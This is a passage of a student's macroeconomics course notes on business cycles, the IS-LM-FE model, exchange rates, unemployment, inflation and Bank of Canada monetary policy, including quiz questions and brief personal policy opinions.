the current account balance - - public savings decreases, so unless consumption decreases, national savings goes down -- A deficit due to tax cuts (meaning no reduction in spending) will increase consumption if the Ricardian equivalence does not hold - - The one thing to note is that in the long run, tax cuts without a reduction in government spending might end up hurting the national wealth as the interest paid by the government won't be going to all Canadians -- Would require an increase in private saving, a decline in investment to offset, or a rise in current account deficit - - A decline in investment is unlikely as the government is either demanding more domestic goods or demand is maintained - - 100% saving is not possible due to the Marginal propensity to consume (MPC) which is ??? - -## Chapter 8 - Business Cycles - -### What is a Business Cycle - -![aggregate economic activity peaks before start of a contraction/recession, trough before start of a expansion](/images/ec-250/business-cycle.webp) - -A _trough_ is the low point in a business cycle and a _peak_ is the high point. - -A severe recession is called a depression. Sequence from one peak to the next is called the business cycle. Properties include: - -1. Fluctuations of aggregate economic activity -2. Feature expansions and contractions -3. Persistent - -History shows that business cycles have become less severe, attributed somewhat to better monetary policies, but it could simply be better measurements, more job variability, or a lot of things. There's no proof that all these factors will always be there, especially when some countries are not appealing to live in (e.g. UK). - -Business cycles are periodic (bound to happen) but not known when to happen or the interval for it (not recurrent) - -### Economic Variables and the Business Cycle - -economic variables can be: - -1. procyclical: moves with the business cycle -2. countercyclical: moves against the business cycle -3. acyclical: does not depend on business cycle - -comovement: many economic variables having regular and predictable patterns over the business cycle - -timing: - -1. **leading**: occurs ahead of of aggregate economic activity -2. coincident: occurs at the same time -3. lagging: occurs behind economic activity - -Key variables - -1. production (procyclical and coincident) -2. expenditure (procyclical and coincident) -3. labour market variables (employment is procyclical and coincident; opposite for unemployment) -4. money growth (procyclical and **leads** the business cycle) - - meaning: high money growth comes before business cycle expansion and lower money growth comes before contraction. Could also be counter-cyclical since Bank of Canada is trying to influence the economy - - CPI inflation is procyclical but lags -5. financial variables (e.g. stock prices are procyclical and lead the business cycle) - - lead is like 1 month, so losses in stock market are followed by contractions? - -- Durables vs. nondurables - - can put off purchases of durable goods when times are tough -- Output is more volatile than total hours - -### Explanation of Fluctuation - -- economic shocks and models related to it -- classical or keynesian approach via AD-AS framework - -## Chapter 9 - IS-LM-FE Model - -### Full Equilibrium - -- for the classical theory, full equilibrium (FE) condition which relaxes the Keynesian assumption of fixed wages in the labour market -- A situation in which all markets in an economy are simultaneously in equilibrium is called a **general equilibrium** - -![FE Line is vertical at Y line](/images/ec-250/fe-line.webp) - -The full-employment line shifts right/left because of: - -All Else Equal, An | Shifts the FE line | Reason ------------------------- | ---------------------- | ----------- -Beneficial supply shock | Right | 1.More output can be produced for the same amount of capital and labour. 2. If the MPN rises, labour demand increases and raises employment. Full-employment output increases for both reasons. -Increase in labour supply | Right | Equilibrium employment rises, raising full-employment output. -Increase in the capital stock | Right | More output can be produced with the same amount of labour. In addition, increased capital may increase the MPN, which increases labour demand and equilibrium employment. - -### Investment-Saving Curve - -- Investment-Saving -- Savings and Investment equilibrium = goods market equilibrium - -![investment-savings vs output](/images/ec-250/is-curve.webp) - -Factors That Shift the IS Curve - -All Else Equal, an Increase in | Shifts the IS Curve | Reason ---------------------------------------- | --------------------------- | ---------------------- -Expected future output | Up and to the right | Desired consumption rises, raising the real interest rate that clears the goods market. -Wealth | Up and to the right | Desired saving falls (desired consumption rises), raising the real interest rate that clears the goods market. -Government purchases, G | Up and to the right | Desired saving falls (demand for goods rises), raising the real interest rate that clears the goods market. -Taxes, T |No change or down and to the left | No change, if consumers take into account an offsetting future tax cut and do not change consumption (Ricardian equivalence); down, if consumers do not take into account a future tax cut and reduce desired consumption, increasing desired national saving and lowering the real interest rate that clears the goods market. -Expected future marginal product of capital, MPK_f_ | Up and to the right | Desired investment increases, raising the real interest rate that clears the goods market. -Effective tax rate on capital | Down and to the left | Desired investment falls, lowering the real interest rate that clears the goods market. - -### Liquidity-Money Curve - -1. Price of non-monetary assets is inversely related to its nominal interest rate or yield -2. For a given rate of inflation, the price of a non-monetary asset and its real interest rate are also inversely related - -Basically, higher the price, lower the real interest rate. There is a different MD curve for each output Y. - -![liquidity-money vs. interest real interest rate](/images/ec-250/lm-curve.webp) - -All Else Equal, an Increase in | Shifts the LM Curve | Reason ---------------------------------------- | --------------------------- | ---------------------- -Nominal money supply, M | Down-right | Real money supply increases, lowering the real interest rate -Price level, P | Up-left | Real money supply falls, raising real interest rate that clears the asset market -Expected inflation, pie | Down-right | Demand for money falls, lowering the real interest rate that clears the asset market -Nominal interest rate on money, im | Up-left | Demand for money increases, raising the real interest rate that clears the asset market - -### Temporary Adverse Supply Shock - -![Effects of a Temporary Adverse Supply Shock](/images/ec-250/temporary-adverse-supply-shock.webp) - -- Productivity falls temporarily, - -1. FE shifts left -2. Price level adjust since IS and LS have a gap -3. Real wage, employment, and output decline; real interest rate and price level at higher equilibrium point -4. temporary inflation (higher price level) -5. consumption and investment are lower - -What is not consistent is that the real interest rate might not increase due to mismatched expectations; apparently if the shock is expected to be permanent, rates would not rise; the lesson says the shock was temporary, but historic oil prices shows that the oil prices stayed steady after 1974 till the next shock, whereas oil prices decreased after 1980. Real interest rates only rise if the expectation is that it is temporary. - -1973-1974 Oil shock: USA gave $2.2B to Israel and OAPEC (OPEC Arab countries) decided to have an oil embargo on the USA. It is pretty clear that people would think this shock would be permanent. It's not really clear why oil prices remained high even after the embargo ended in 1974. Prices most likely remained the same due to the devaluation of the USD by that time. - -Constant: Government spending and nominal money supply - -### Monetary Expansion - -![effects of monetary expansion](/images/ec-250/monetary-expansion.webp) - -- short-term: lower interest rates and higher demand for output -- long-term: prices get higher but no net difference - -### Fiscal Expansion - -![effects of fiscal expansion](/images/ec-250/fiscal-expansion.webp) - -- government increases spending -- short-term: higher IS curve so higher interest rates -- long-term: prices and interest rates are higher - -### IS-LM-FE Classical vs Keynesian - -1. how rapidly is general equilibrium reached (could be 3 years in reality) -2. what does monetary policy do? - - classical believes monetary neutrality exists in short-run whereas Keynesian only believes in long-run. - -### Aggregate Demand Curve - -The relationship between price levels and output - -![aggregate demand curve](/images/ec-250/aggregate-demand-curve.webp) - -Factors that shift the curve is when the IS or LM shift while keeping the price level constant. - -### Chapter 9 Quiz Questions - -Suppose the aggregate demand curve is given by the​ equation: `Y =540 +30M/P`. - -The​ full-employment level of output is 1,500 and the current nominal money supply is 15. If the economy is in​ full-employment equilibrium, calculate the current price level. - -P = enter your response here - -With the price level fixed at 0.469​, suppose the nominal money supply changes by 3 and is now 18. - -Now find the​ short-run equilibrium level of output. - -Y = enter your response here - -To return to​ long-run equilibrium, the price level must​ adjust, shifting the​ short-run aggregate supply curve. The​ long-run equilibrium price level​ is: - -P = enter your response here - -## Chapter 10 - Exchange Rates, Business Cycles, and Macroeconomic Policy in the Open Economy - -Nation economies are interdependent in two main ways meaning policies of one country can affect the other - -1. International trade in goods and service -2. Worldwide integration of financial markets - -### Nominal Exchange Rates - -- Units of foreign currency that can be purchased with one unit of domestic currency. -- for most major currencies, _enom_ is floating -- Canadian Effective Exchange Rate index (CEER) of 17 largest trading partners but moves in tandem with CA-US exchange rate -- Relative purchasing power parity: nominal rates change with inflation - -### Real Exchange Rates - -- price of domestic goods relative to foreign goods such that - -e=\frac{e_nomP}{P_For} - -- if one hamburger in Japan costs 312 yen and one hamburger in Canada costs 3 dollars then the real exchange rate is 78 yen per Canadian dollar - -### Appreciation and Depreciation - -- When the domestic currency appreciation: nominal exchange rate rises (buy more foreign currency) -- When the domestic currency nominal depreciation: nominal exchange rate falls (buy less foreign currency) -- fixed: weakening of the currency is called a devaluation while a strengthening is called a revaluation - -### Purchasing Power Parity - -P=\frac{P_For}{e_nom} - -- holds in long run but not in the short run: - 1. countries produce different goods - 2. some goods aren't traded - 3. transportation costs and legal barriers to trade - -\frac{\Delta e}{e}=\frac{\Delta e_nom}{e_nom}+\frac{\Delta P}{P}-\frac{\Delta P_For}{P_For} - -First factor is the appreciation and the last two factors are the inflation rates - -Therefore, a nominal appreciation is either due to a real appreciation or a lower domestic inflation rate - -### Real Exchange Rate and Net Exports - -This implies that the higher the real exchange rate, the lower a country’s net exports will be. - -### Demand for Currency - -1. able to buy goods from countries using said currency -2. able to purchase real and financial assets denominated in said currency - -### Supply for Currency - -1. buy foreign goods -2. buy foreign real and financial assets - -### Currency and Changes in Output (Income) - -Rise in domestic output also meaning higher imports and lower net exports. Exchange rate decreases because they need to purchase foreign currency, - -### Effects of Change in Real Interest Rates - -A rise in domestic interest rates makes foreigners want to buy domestic assets and strengthens the exchange rate - -### Returns on Domestic and Foreign Assets - -Nominal rate of return on a foreign bond: - -1+i_For-\frac{\Delta e_nom}{e_nom} - -### Interest Rate Parity - -Suggests that there is an indifference between domestic and foreign assets of comparable risk and liquidity; - -(1+i_For)\frac{e_nom}{e^f_nom}=(1+i) - -### IS-LM-FE and Net Exports - -1. factors that increase net exports shift the IS curve up -2. factors that decrease net exports shift the IS curve down - -Factors that shift - -1. an increase in foreign output, which increases foreigners’ demand for domestic exports; -2. an increase in the foreign real interest rate, which makes people want to buy foreign assets, causing the exchange rate to depreciate, which in turn causes net exports to rise; -3. a shift in worldwide demand toward the domestic country’s goods, such as an increase in the relative quality of the domestic good - -### International Transmission of Business Cycles - -- US output decline reduces demand for Canadian exports, shifting Canadian IS curve down - - therefore recession in Canada in a Keynesian model but in classical there is not affect - -### Mundell-Fleming Model - -- small open economy IS-LM model which assumes that the exchange rate is not expected to change -- policies won't affect foreign interest rates - -### Fiscal Expansion and Interest Rates - -A rise in government purchases shifts the IS curve up and the domestic interest rate temporarily rises which induces capital inflows, appreciating the domestic currency, and thus making expert more expensive, such that IS curve shifts left until the domestic interest rate equals the foreign rate. - -### Monetary Expansion and Interest Rates - -An increase in domestic money supply shifts the LM down, causing the domestic interest rate to fall below the foreign rate. Arbitrage opportunities induce capital flow into foreign from domestic, depreciating the domestic currency. A depreciated currency makes net exports cheaper, shifting the IS curve to teh right. The end result, assuming a fixed price-level, is an equal interest rate, depreciated currency, and higher net exports. - -In the long-run, keynesian model shows monetary neutrality which occurs immediately for the Classic model; real exchange rate unaffected but nominal exchange rate is affected. - -e_nom=\frac{eP_For}{P} - -### Fixed Exchange Rates - -The nominal exchange rate is official set by the government, possibly in agreement with other countries. If the fundamental rate, determined by free market participants is less than the official rate, then the currency is overvalued. Responses include: - -1. The country can devalue the currency (by reducing the exchange rate) but if it did this a lot, it might as well employ a flexible-rate system. -2. The country could also restrict international transactions to reduce the supply of its currency to the foreign exchange market, thus raising the fundamental value; even though this is suppression. -3. Country could purchase its own currency via the central banks official reserve assets (gold, foreign bank deposits, and special assets created by agencies like the IMF). Reserve assets = balance of payments deficit. This method has its limits since some countries ran out of gold and thus a currency devaluation was inevitable. - -- Similarly, an undervalued currency can't be maintained for long by foreign central banks -- An undervalued currency can also be responded to by increasing the money supply - -### Monetary Policy and Fixed Exchange Rate - -Countries have to co-operate with their monetary policies in order to avoid depreciating their currencies to another. If one country increases their money supply, the currency depreciates. - -### Fiscal Policy and Fixed Exchange Rate - -- fiscal expansion results in undervalued exchange rate so the real exchange rate increases in lock step even though output is not impacted - -### Choosing an Exchange System - -1. a fixed exchange rate to promote trade, -2. free international movements of capital, and -3. autonomy over domestic monetary policy. - -Currency Unions: Common currency shared by a group of countries (e.g. EU). Reduces cost of trading and prevents speculation attacks. Monetary policies cannot be independent. - -### Advanced Models of Open Economy - -1. the FE line to respond to unexpected events such as changes in world energy prices, -2. expectations of exchange rate changes, and -3. partial price level adjustment in the short run. - -### Quiz Question - -1. Why don't PPP hold for Big Macs across the world? - **- a. not exact productA** - - b. sold by different franchises - - c. patent -2. Nominal exchange rates of different trading partners is called? - - **effective exchange rate** -3. If the dollar/Swiss frac exchange rate falls, then? - - **dollar more valuable**? - - swiss imports more from Canada into Switzerland - - canadian firms export more to switzerland - - swiss franc more valuable relative to the dollar -4. 2002-2008 canadian dollar against US dollar appreciated due to net exports increasing -5. If foreign interest rates decrease, then exchange rates rise and net exports decrease -6. If Canada's real interest rate rises relative to British real interest, we expect net exports to decrease but exchange rates to rise -7. Increase is domestic income decreases net exports, increase in foreign income increases net exports. An increase in the domestic real interest rate results in a higher real exchange rate and a net exports decline -8. In the short run in the Keynesian model for a small open economy with flexible exchange​ rates, an increase in the domestic money supply would cause domestic output to​ rise and the domestic real interest rate to​ fall -9. for an undervalued currency in a fixed exchange rate, the country can increase money supply; if money supply is increased too much it may make the currency over-valued -10. european union agreeing to use the euro is called a currency union. all countries in the currency union must share a common monetary policy. - -## Chapter 11 - Classical Business Cycle Analysis: Market-Clearing Macroeconomics - -business cycle theories have two components: - -1. Description of the types of shocks believed to affect the economy the most -2. a model that describes how key macroeconomic variables respond to economic shocks - -### Real Business Cycle Theory - -Suggests that real shocks to the economy are the primary cause of business cycles; Real shocks affect the IS curve or the FE line while nominal shocks are shocks to money supply or demand which affect the LM curve. Examples of shocks: - -- the production function, -- the size of the labour force, -- the real quantity of government purchases, and -- the spending and saving decisions of consumers. - -The important shock is supply/productivity shocks. - -Most economic booms result from beneficial productivity shocks; while most recessions are caused by adverse productivity shocks. - -### Critiques of RBC Theory - -- cumulative effects -- other shocks such as war and military buildup -- counterargument: accumulation of smaller productivity shocks - -### Solow Residual - -The proportion of growth not attributed to labour and capital - -A=\frac{Y}{(K^aN^{1-a})} - -If there is a difference in intensity of inputs, productivity can change without technology changing. If uk is capital utilization, un is labour utilization, and A is tech, - - - -### Fiscal Policy Shocks in the Classical Model - -An increase/decrease in government spending **has a wealth effect** (higher future taxes means poorer and income effects leads to more labour supply) that results in an increase/decrease in labour supplied shifting the FE line to the right/left resulting in an increase/decrease in the full employment level of output. Classic economists are against dampening the business cycle through fiscal policies. - -### Unemployment in Classical Models - -In the classical model unemployment is just mismatched workers and jobs. With shocks, there is an increase in the matching problem. IMF reported great deal of churning of jobs but it doesn't explain all unemployment (e.g. temporary layoffs; timing). You'd think more help would be needed during recessions but they fall. Government can reduce regulations on business or reduce minimum wage instead of fiscal policy that does not improve the matching problem (I mean the government can always expand government jobs). - -### Money in the Classical Model - -procyclical is explained by "reverse causation"; the change in money growth precedes changes in output does not mean that the money growth caused the output changes. Storm windows don't cause winter to come, the winter coming causes storm windows to be put up. - -Bank of Canada wants to increase the demand for money by reducing the interest rate which requires a higher money supply so that businesses can get money they want easily and handle future sales. For example, just before christmas the money supply increases (gift-buying). - -### Misperception Theory; Non-Neutrality of Money - -A producer's wage is equal to the price of the good being produced. Price and output is related (higher the price more goods are produced and vice versa). The producer has to use previous expectations of the current price level to estimate the actual price level. So if there is an expectation of 5% inflation and price of bread increases by 5%, then baker retains output since the real wage has not changed. Therefore, the change in output can simply be due to the difference between the general and expected price levels. - -Y=Y\bar+b(P-P^e) - -We see here that supply can be higher if the actual price level is higher than the expected price level. This is because suppliers will think the a portion of the actual prices is real and will increase output to capture the difference. - -So although Long-Run Aggregate Supply is vertical, Short Run Aggregate Supply is a curve swinging upwards intersecting when P = Pe. Anticipated monetary policy has no effects. - -### Rational Price Expectations Theory - -If expectations are correct, the expected price will equal the actual price. The central bank has to surprise people to affect output but it's clear that the central bank would want to increase money supply during recessions and decrease it during booms and so only a random policy would have effects. - -## Chapter 12 - Keynesian Business Cycle Analysis - -- Non-Market-Clearing Macroeconomics -- Wages and prices are sticky and won't easily go down -- Economy can be in disequilibrium for long period of time -- Recession is not an optimal response to an aggregate demand shock; rather it is disequilibrium in which high unemployment reflects excess supply of labour -- Stabilization policy can and should be used by the government to reduce economic fluctuations - -### Nominal Wage Rigidity - -Nominal wages are set by contracts for an extended period of time and thus there are expectations of the future economy. Same equation as before. here is a different Short-Run Aggregate Supply (SRAS) for every expected price. - -### Monetary in the Keynesian Model - -The IS-LM model is output versus interest rates whereas the AD-AS model is the Price level versus the output. - -![monetary expansion](/images/ec-250/is-lm-ad-as-monetary-policy.webp) - -### Fiscal Policies in the Keynesian Model - -![monetary expansion](/images/ec-250/is-lm-ad-as-fiscal-policy.webp) - -For an increase in money supply, there are two price level adjustments since one occurs before labour contracts are renegotiated - -In the Classical model in the previous chapter, anticipated or unanticipated government spending influences wealth and the full employment output, whereas in the Keynesian model, participants anticipate the effects of the fiscal policy and negotiate a wage that would maintain the real wage (no change in wealth). With an unanticipated fiscal policy, - -Fiscal and monetary policies are both referred to as aggregate demand policies because both policies affect the position of the aggregate demand curve. Only unanticipated fiscal policies have a long-term affect. - -### Criticisms of the Nominal Wage Rigidity Assumption - -- less than one-third of the Canadian labour force is unionized and covered by long-term wage contracts -- some labour contracts are indexed to inflation, so the real wage is fixed, not the nominal wage -- real wages are procyclical no counter-cyclical - -### Price Stickiness - -Empirical evidence on price stickiness is not conclusive; sticky in response to monetary policy shocks and flexible in response to shocks. Exchange rate pass-through is slow or incomplete. - -- Monopolistic Competition - - Prices are set in nominal terms and maintain those prices for some period - - Output adjusted to meet demand at the nominal price - - Prices adjusted from due to significant changes in costs or demand -- Menu Costs - - Changing the price means printing new menus which costs money - -For firms that have some monopoly power, - -Price = (1 + Markup) * Marginal Cost - -### Macroeconomic Stabilization - -Recessions are undesirable because the unemployed are hurt. Government policies can quickly restore to general equilibrium but would increase price level in the long-run tha if no action was taken. In my opinion, there shouldn't be a need to fear people being unemployed if people could get a reduction in their tax bills equal to their estimated savings. Someone with $0 in savings should not have to pay as much in taxes nor should they get less in EI than someone who has $100,000 in savings. The latter can still maintain their assets so if anything EI should be as normalized as possible across the board. Secondly, there should not be a labour surplus during non-booming times. The government can also fund education during times of recessions so that people out of job can still get educated for skilled jobs that have labour shortages (grants given for specific programs). - -### Fiscal Policy Multiplier - -- increase in gdp / increase in spending -- for the US economy the multiplier is sometimes zero during periods of full employment to 1.5 in periods of recession -- therefore, maybe best to run surpluses with full employment and deficits during recessions to avoid the price increase - -### Real Wage Rigidity and Efficiency Wage Model - -- workers who feel well treated will work harder and more efficiently -- effort vs real wage is an S curve. There is a sweet spot just before effort flattens off (tangent to line from origin) -- therefore market-clearing wage > efficiency wage determines unemployment. Labour supply - Labour demand = unemployment and unemployment does not reduce real wages\* - -### Demand Shocks - -- more dispensable income (that is spent more than saved?) from a government tax cut or increase in money supply -- expected results -> higher output and prices immediately and then a return to full employment at a higher price level (SRAS curve moves) - -## Chapter 13 - Unemployment And Inflation - -- Twin evils -- Phillips curve: an empirical relationship between inflation and unemployment - - inflation tends to be low when unemployment is high and high when unemployment is low - - only held till the 1960s as the relationship failed to hold in the decades that followed - - analysis to disprove the curve was also done during this time - - stagflation: where inflation and unemployment is high -- Expectations-Augmented Phillips Curve - - Friedman–Phelps theory - - Unanticipated inflation vs. cyclical unemployment - - In classical, Misperception theory is used - - When Aggregate Demand increases unexpectedly, cyclical unemployment will be negative because more employment than natural is required - - Example: think money supply is expected to increase by 10% (output remains equal), but increased by 15%. Price level increases less than 15% because output is increased as there is a belief that relative prices of goods are higher when they are not - - If unemployment rate is higher than natural, that implies that actual inflation is higher than expected inflation - - Strength of the relationship is related to the slope of the SRAS curve - -### Expectations-Augmented Phillips Curve - -- When the expected inflation increases, the curve shifts to the right (higher unemployment rate for the same inflation rate) -- When the natural rate of unemployment increases, the curve shifts to the right -- For adverse supply shocks, classical blames the increase in natural unemployment to higher levels of mismatch between workers and jobs whereas keynesian blames it on higher than ideal real wage. - - classical: high energy costs transfers jobs from the energy users to energy providers (makes sense) - - Phillips curve moves up and to the right -- Beneficial supply shock leads to the curve moving down and left - -### Policies and the Phillips Curve - -- Classical: stabilization policies are futile because of quick self-correction -- Keynesian: possible for unemployment rate to deviate from natural rate for an extended period of time - - Thus when AD falls and unemployment increases, government can use AD to increase inflation again -- **The Lucas Critique** - - new policies change the economic rules, and so no one can safely assume historical relationships will continue to hold - - applies to phillips curve when policy makers thought they could increase inflation to reduce unemployment - -### Long-Run Phillips Curve - -- vertical line -- expected inflation = actual inflation -- actual unemployment = natural unemployment - -### Costs of Unemployment - -- loss of output because fewer people are employed -- borne on the unemployed (loss of income) and society (unemployment insurance received instead of income taxes paid) -- **Okun's law**: 1 percentage point increase in cyclical unemployment reduces real output by 2 percentage points. - - considered too high because it reflects more issues than just a change in cyclical unemployment -- offsetting factors: - - searching for the perfect match may lead to future productivity and output growth - - leisure time (diminishing utility) - -### Long-Term Behaviour of the Unemployment Rate - -- natural unemployment rate corresponds to full-employment output -- unsure when we are at full-employment output -- hard to figure out what the natural rate is so not a good idea to pursue policies in pursuit of this number -- changes: - - Demographic - - women have equal or lower unemployment rate nowadays - - younger workers have higher unemployment rate - - Technological changes - - Higher skill requirement which reduces employment opportunities for low-skilled or poorly educated workers - - (see the Application “Technological Change and Wage Inequality” in Chapter 3, p. 74). - - Hysteresis - - the tendency of the natural rate of unemployment to change in response to the actual unemployment rate, rising if the actual unemployment rate is above the natural rate and falling if the actual unemployment rate is below the natural rate. - - downturns in economies with high levels of worker regulation tends to persist more due to firms not hiring workers that will never need to be fired (pessimist hiring versus optimistic) - - Employment Insurance - - replacement ratio: benefit relative to lost wages - - benefit duration: amount of time an unemployed worker receives benefits for - - eligibility requirements: what does the worker need to do to collect benefits - - disincentive index: disincentive to search for jobs and accept job offers - -### Policies to Reduce the Natural Rate of Unemployment - -- no surefire method for reducing the natural rate exists -- make it easier for workers who have been made unemployed by a shrinking industry to retrain and find re-employment in expanding industries - - a case can be made for such policy measures as tax credits, subsidies for training, and relocating unemployed workers - - goal: eliminate mismatch between workers and jobs - - recent modifications of EI emphasizes retraining and encouraging workers to move to where new jobs are created -- minimizing size of payroll taxes firms pay when employing workers. Cost to employ includes contributions to EI, Worker's Compensation, Federal and Provincial (Quebec) Pension Plans -- hysteresis proponents: aggressive monetary and fiscal policies (high pressure) - - not a good idea as it is high risk for a loosely validated problem of skill deterioration - -There are definitely more policies that could be applied and more discussion should be applied in this area. For example, the textbook does not discuss information gaps between government organizations and individual workers, unemployed, and future workers. If innovation drivers economic growth, then shouldn't worker's be made aware of programs that they can contribute to. Or how to incentivize workers to become forefront of innovation (e.g. university grants in sectors that aren't saturated). - -### Costs of Inflation - -- Anticipated inflation: - - prices of goods and services would increase 4% every year, but so would nominal wages. No purchasing power harm - - nominal interest rates would adjust to offset drop in purchasing power; money saved would earn the real interest rate regardless of the rate of the anticipated inflation rate - - **Shoe leather costs** - - Costs incurred to reduce holding the cash whose value erodes due to inflation - - Estimated to be 0.3% of GDP for 10% perfectly anticipated inflation - - Menu costs - - cost of changing nominal prices; lowered by technological progress -- Unanticipated Inflation - - Interest earned in savings account is a less than expected in a real sense which is a gain for the Bank paying the interest - - lenders and savers get hurt, fixed rate borrowers or people with fixed payments benefit -- Hyperinflation - - extremely high for sustained period of time - - workers paid more often - - higher shoe leather costs - - the real value of taxes collected by the government falls sharply during hyperinflation - - when prices aren't reliable indicators of supply and demand, then markets cannot allocate resource efficiently - -### Fighting Inflation - -- sustained monetary growth in industrialized countries is usually due to not tightening monetary policies during times of over full-employment output but using expansionary policies during recessions -- disinflation by ways of slowing reducing the money growth may lead to a serious recession -- if policies succeed in reducing inflation below expected rate, unemployment will rise above the natural rate until inflation expectations lower - -#### Rapid vs. Gradual Disinflation - -Classical's **cold turkey** - -- rapid disinflation / reduction in money supply growth. Since it's dramatic, public ought to reduce expectations -- Keynesian disagree because of an adjustment period which brings in delays and that people might expect the government to abandon the policy - -Keynesian **gradualism**: reduce rate of money growth and inflation gradually over the years; effective due to being politically sustainable - -The **sacrifice ratio** - -- amount of output lost when the inflation rate is reduced by 1 percent -- Take the total output loss as a % of one year's GDP, and divide it by the reduction in inflation -- different in every country, sometimes less than 1 and sometimes up to 3 -- flexibility of the labour market. The higher the flexibility, the lower the sacrifice. The higher the regulation, the higher the sacrifice -- rapid disinflation tended to have lower sacrifice ratios -- Hard to determine if Laurence Ball's estimate on the loss of output is accurate (e.g. supply shocks, estimating output without disinflation) - -Credibility and Reputation - -Saying is one thing and the electability of policymakers can get in the way of keeping promises. Central banks are usually independent. - -#### Wage and Price Controls - -- impose price and wages limits to break expectations -- price controls likely to cause shortages since in a free market, relative prices will change due to supply and demand -- shortages due to excess demand cause disruptions -- the disruptions imply that the controls are temporary and public will expect greater inflation in the future -- when combined with tightening, expectations of lower inflation post-lifting are more plausible - -## Chapter 14 - Monetary Policy and the Bank of Canada - -Money supply is also affected by the banking system’s behaviour and the public’s decisions, not just the central bank. - -- depository institutions: privately owned banks, trust companies, credit unions, and _caisses populaires_ (Quebec) that accept deposits from and make loans directly to the public. -- First supply of money is deployed in exchange of real assets -- The belief that money has value becomes self-justifying: If most people believe that money has value, then it has value. - - if everyone believes money has no value then no one would accept it -- Convincing the public by declaring money as **legal tender**: creditors must accept the money as settlement of debts and can pay taxes in it -- Money is a liability on central banks' balance sheet and it is the **monetary base** or high-powered money - -### Fractional Reserve Banking - -- Money held as bank deposits instead of currency. -- **bank reserves**: liquid assets available for withdrawal and paying cheques drawn on depositor' accounts - - 100% reserve: profit earned from negative interest rates (fee for deposit) -- partial reserve: not all currency is being used, some amount is being untouched. Therefore can lend it out to earn interest -- **reserve-deposit ratio**: reserves divided by deposit -- **fractional reserve banking**: reserve-deposit ratio is less than 100% (one) -- Since a loan ends up being deposited again, the bank will keep loaning out money - - Since the reserves amount never changes, the deposits will keep going up - - Therefore, the money supply balloons -- Money supply = monetary base / desired reserve ratio - -### Bank Runs - -- when more depositors want to withdraw than the bank has money available -- from a depositors' perspective, withdrawal avoided the risk of collapse -- banks would need to convince customers that everything is fine - -### Money Supply Formula - -- M = CU (currency held by public) + Deposits -- BASE = CU + Reserves -- cu = Currency Deposit ratio (CU / DEP) -- res = RES / DEP -- M =((cu + 1) / (cu + res)) BASE - - The money supply equals the base times the money multiplier factor - -### Open Market Operations - -- Central bank prints money and buys real assets with the money, thereby increasing the monetary base -- Central bank can also sell real assets and retire currency (lowers the currency and base) -- If the money multiplier is constant, the percent change in the monetary base equals the percent change in the money supply -- Since money multiplier is unstable, changes monetary base is used to influence short-term interest rates - -### Bank of Canada - -- Created in 1934, crown corporation since 1938 -- While the government may issue a directive to the Bank, it has not done so since the act was amended in 1967 to allow this -- Board: 12 part-time directors, governor (appointed for 7 years renewable by the governor), senior deputy governor, deputy minister of finance - - directors are not experts on monetary policy and cannot be bankers nor economists' -- Essentially, although the government has the power to influence the bank, it can't influence in the short-term -- Balance sheet - - Largest asset are government bonds - - Owns nearly 20% of outstanding treasury bills - - Owns loans to other banks - - Notes in circulation (January 2023): 119,417,195,000 - - Deposits from other banks plus currency at banks equals total reserves - - Monetary base = bank reserves plus currency outside banks - - Monetary base = total currency outstanding plus bank deposits -- Lender of last resort - -### Tool 1: Overnight Rates - -- Banks only make net transfers to each other (e.g. National Bank $100 cheque from RBC + RBC $80 cheque from National Bank = $20 to NB) -- **Clearing/Settlement balances** are held at the Bank of Canada -- Reserves are not required to be held at the Bank of Canada, but 13 large banks and credit unions (direct clearers) do so. -- Large Value Transfer System (LVTS) - - Financial Institutions that can clear cheques but don't partake in LVTS have accounts with the larger banks -- Banks with larger balances than needed can lend to another bank charging an **overnight rate** -- Bank of Canada announces on eight preset days (or in unusual circumstances) a 0.5 interest rate band of which the center is the **target overnight rate** -- The bank lends at the top range of the band called the **bank rate** which is a ceiling for the other banks -- The bank pays interest on deposits at the rate given by the bottom edge of the band which places a floor under the overnight rate - - Therefore, banks will only want to lend at a rate higher than this deposit paying rate and will want to borrow only at most the bank rate -- Lowering interest rate, increases advances made, which is a credit to deposits, which means the monetary base has expanded - -### Tool 2: Open-Market Operations - -- Purchasing securities increases the bank's assets and writes a cheque on itself (it's own deposits) - - Multiplier effect results in a higher money supply -- Can be used to affect interest rates as well - - Special Purchase and Resale Agreements (SPRAs or repos): buy short-term government securities and sell next day (increase in seller's settlement balance which puts downward pressure on the overnight interest rate) - - Sale and Repurchase Agreements (SRAs) -- Quantitative Easing - - Although most open-market operations are on short-term (3 month), it can buy/sell other things - - Purchase and sale of government or non-government securities with long terms to maturity - - once nominal interest rate reaches 0, bank cannot force it down any further, so QE can be used on the other assets -- Interest rates can be long-dated, illiquid, and risky so bank can either - - reduce rate of return on short-term, liquid, and safe to expect that others will move in same direction (conventional) - - reduce rate of long-term, illiquid, and risky by buying and selling those very securities (QE) - -### Tool 3: Exchange Fund Account - -- various currencies (fraction of US dollars has fallen from 97% to just 69%) -- falling importance of gold (no gold held in 2020) -- reflects fund should yield a predictable rate of return -- Suppose interest rates rise in the US, bank of canada might want to start selling US dollars to counteract the depreciation passing as inflation - -### Monetary Policy in Practice - -- lags and uncertainty about the channels through which monetary policy works -- 18 to 24 months to work their way through the economy to have significant effect on rate of inflation -- change in interest rate → change in spending → changes in production (employment) → changes in prices (inflation) -- interest rate channel: affecting the economy via real interest rate changes -- exchange rate channel: affecting the economy via real exchange rate changes -- credit channel: supply and demand of credit (changes in bank reserves) - -### Monetary Policy - Rules Versus Discretion - -- Rules -- Monetary policy should be automatic -- e.g. 1% money supply growth every quarter -- e.g. keep price of gold stabilized (gold standard) -- must be simple -- Discretion - - the central bank should continuously monitor the economy and, using the advice of economic experts, should change the money supply as needed to best achieve its goals - -### Monetarist - -- Dominant figure: Milton Friedman - -> Proposition 1. Monetary policy has powerful short-run effects on the real economy. In the longer run, however, changes in the money supply have their primary effect on the price level - ---- -> Proposition 2. Despite the powerful short-run effect of money on the economy, there is little scope for using monetary policy actively to try to smooth business cycles. - -- time needed to gather and process information (information lag) to determine state of economy -- uncertainty to the magnitude of the effect of a change in interest rates and money supply -- maybe a year to take effect -- bank of canada estimates 12-18 months to influence inflation rate -- might be possible for wages to adjust quick enough that the monetary supply causes prices to rise - ---- - -> Proposition 3. Even if there is some scope for using monetary policy to smooth business cycles, the central bank cannot be relied on to do so effectively. - -- distrust of central bank comes from historic examples -- 1929-1933: Federal Reserve System was unable or unwilling to stop the money supply from falling by one-third due to bank runs - ---- - -> Proposition 4. The central bank should choose a specific monetary aggregate (such as M1 or M2) and commit itself to making that aggregate grow at a fixed percentage 